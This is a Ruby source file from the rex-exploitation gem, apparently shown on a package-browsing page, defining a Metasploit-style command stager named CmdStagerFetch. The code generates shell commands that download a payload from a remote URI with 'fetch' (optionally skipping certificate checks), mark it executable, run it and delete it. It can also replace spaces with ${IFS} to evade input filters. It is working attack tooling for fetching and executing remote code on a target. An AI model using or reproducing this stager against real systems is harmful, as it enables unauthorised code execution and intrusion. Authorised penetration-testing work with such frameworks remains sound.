Sha256: 660c362e8d2342f89a81b44b7c77cf6108b22dfba85848de76f540bf4cf2598e

Contents?: true

Size: 1.17 KB

Versions: 3

Compression:

Stored size: 1.17 KB

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /^fetch/
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    opts[:silent] = true if opts[:silent].nil?
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    cmds = []
    nvp  = '--no-verify-peer'

    silent_flag = opts[:silent] ? 'q' : ''
    if opts[:ssl]
      cmds << "fetch -#{silent_flag}o #{@payload_path} #{nvp} #{opts[:payload_uri]}"
    else
      cmds << "fetch -#{silent_flag}o #{@payload_path} #{opts[:payload_uri]}"
    end

    cmds
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end

Version data entries

3 entries across 3 versions & 1 rubygems

Version Path
rex-exploitation-0.1.40 lib/rex/exploitation/cmdstager/fetch.rb
rex-exploitation-0.1.39 lib/rex/exploitation/cmdstager/fetch.rb
rex-exploitation-0.1.38 lib/rex/exploitation/cmdstager/fetch.rb